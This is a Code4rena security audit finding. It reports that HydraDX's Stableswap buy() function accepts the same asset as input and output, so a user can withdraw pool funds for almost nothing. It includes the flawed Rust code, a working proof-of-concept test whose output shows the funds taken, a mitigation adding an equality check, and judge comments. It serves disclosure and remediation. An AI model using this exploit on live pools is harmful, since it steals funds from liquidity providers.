Stableswap.buy() Lack of Restrictions asset_in!=asset_out, Allows Users to Steal Funds

[c4-bot-2]

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L787

Vulnerability details

Vulnerability details

We can use the Stableswap.buy() function to purchase another token.
First, we specify the amount_out, and then we calculate the corresponding amount_in.
The calculation for amount_in is as follows:
we keep D unchanged, calculate the new y using the calculate_y_given_out() method, and then subtract the old y to obtain the difference, which represents amount_in.

For example, let's assume the following initial reserves:

reserves = [
    usdc = 200
    usdt = 220
]

If you want to buy 50 usdc, how do calculate the required amount of usdt?

Calculation steps:

1. Calculate D based on the old reserves.
2. Generate a new array:

   xp = [
       usdc = 200 - 50 = 150 (reduce, remaining out after purchase)
       usdt = 0              (clear, not included the asset_in)
   ]
   

3. Calculate new_usdt using calculate_y_internal(xp, D). Assuming new_usdt = 270.
4. Calculate amount_out = new_usdt - old_usdt = 270 - 220 = 50.

However, due to the lack of restrictions on asset_in != asset_out
if a user specifies asset_in == asset_out == usdc

(i.e., the user wants to buy 50 usdc), how much usdc do they need to provide?

Execution steps:

1. Calculate D based on the old reserves.
2. Generate a new array:

   xp = [
       usdc = 0   (clear, not included the asset_in)
       usdt = 220 (unchanged, as it's neither asset_in nor asset_out)
   ]
   

3. Calculate new_usdc using calculate_y_internal(xp, D).
   Since usdt remains unchanged, we can approximate it to the old value (e.g., new_usdc = 200.01).
4. Calculate amount_out as new_usdc - old_usdc = 200.01 - 200 = 0.01.

This results in the user needing to provide only 0.01 usdc to obtain 50 usdc.

pub(crate) fn calculate_y_given_out<const D: u8, const Y: u8>(
	amount: Balance,
	idx_in: usize,
	idx_out: usize,
	reserves: &[Balance],
	amplification: Balance,
) -> Option<Balance> {
	if idx_in >= reserves.len() || idx_out >= reserves.len() {
		return None;
	}
	let new_reserve_out = reserves[idx_out].checked_sub(amount)?;

	let d = calculate_d_internal::<D>(reserves, amplification)?;
	let xp: Vec<Balance> = reserves
		.iter()
		.enumerate()
@>              .filter(|(idx, _)| *idx != idx_in)       //@audit clear, not included the asset_in
@>     	        .map(|(idx, v)| if idx == idx_out { new_reserve_out } else { *v })  //@audit  reduce, remaining out after purchase
		.collect();

	calculate_y_internal::<Y>(&xp, d, amplification)
}

note： that the sell() function also faces a similar issue, but instead of stealing, it results in losing funds.

Impact

Users can exploit the system by specifying asset_in == asset_out, effectively stealing funds.

Proof of Concept

The following code demonstrates the scenario mentioned above, where a user specifies the same asset_in and asset_out.

add to tests/trades.rs

#[test]
fn buy_same() {
	let _ = env_logger::try_init();
	let asset_a: AssetId = 1;
	let asset_b: AssetId = 2;
	ExtBuilder::default()
		.with_endowed_accounts(vec![(BOB, 1, 200 * ONE), (ALICE, 1, 200 * ONE), (ALICE, 2, 200 * ONE)])
		.with_registered_asset("one".as_bytes().to_vec(), 1, 12)
		.with_registered_asset("two".as_bytes().to_vec(), 2, 12)
		.with_pool(
			ALICE,
			PoolInfo::<AssetId, u64> {
				assets: vec![asset_a, asset_b].try_into().unwrap(),
				initial_amplification: NonZeroU16::new(100).unwrap(),
				final_amplification: NonZeroU16::new(100).unwrap(),
				initial_block: 0,
				final_block: 0,
				fee: Permill::from_percent(0),
			},
			InitialLiquidity {
				account: ALICE,
				assets: vec![
					AssetAmount::new(asset_a, 100 * ONE),
					AssetAmount::new(asset_b, 100 * ONE),
				],
			},
		)
		.build()
		.execute_with(|| {
			let pool_id = get_pool_id_at(0);
			let bob_before_assert_a = Tokens::free_balance(asset_a, &BOB);
			let bob_before_assert_b = Tokens::free_balance(asset_b, &BOB);

			println!("before => a: {} , b: {}", bob_before_assert_a,bob_before_assert_b);

			assert_ok!(Stableswap::buy(
				RuntimeOrigin::signed(BOB),
				pool_id,
				asset_a,  //------> same
				asset_a,  //------> same
				30 * ONE,
				1 * ONE,
			));
			let bob_after_assert_a = Tokens::free_balance(asset_a, &BOB);
			let bob_after_assert_b = Tokens::free_balance(asset_b, &BOB);

			println!("after => a: {} , b: {}", bob_after_assert_a,bob_after_assert_b);
			println!("steal => a: {} , b: {}", bob_after_assert_a - bob_before_assert_a ,bob_after_assert_b - bob_before_assert_b);
		});
}

$  cargo test buy_same -p pallet-stableswap -- --nocapture

running 1 test
before => a: 200000000000000 , b: 0
after => a: 229999999999998 , b: 0
steal => a: 29999999999998 , b: 0
test tests::trades::buy_same ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 95 filtered out; finished in 0.01s

Recommended Mitigation

		pub fn buy(
			origin: OriginFor<T>,
			pool_id: T::AssetId,
			asset_out: T::AssetId,
			asset_in: T::AssetId,
			amount_out: Balance,
			max_sell_amount: Balance,
		) -> DispatchResult {
			let who = ensure_signed(origin)?;

+			ensure!(asset_in != asset_out, Error::<T>::SameAssetTradeNotAllowed);

		pub fn sell(
			origin: OriginFor<T>,
			pool_id: T::AssetId,
			asset_in: T::AssetId,
			asset_out: T::AssetId,
			amount_in: Balance,
			min_buy_amount: Balance,
		) -> DispatchResult {
			let who = ensure_signed(origin)?;

+			ensure!(asset_in != asset_out, Error::<T>::SameAssetTradeNotAllowed);

Assessed type

Error

[c4-pre-sort]

0xRobocop marked the issue as duplicate of #58

[OpenCoreCH]

Marking #58 as primary, but this was also a great description of the issue.

[c4-judge]

OpenCoreCH marked the issue as satisfactory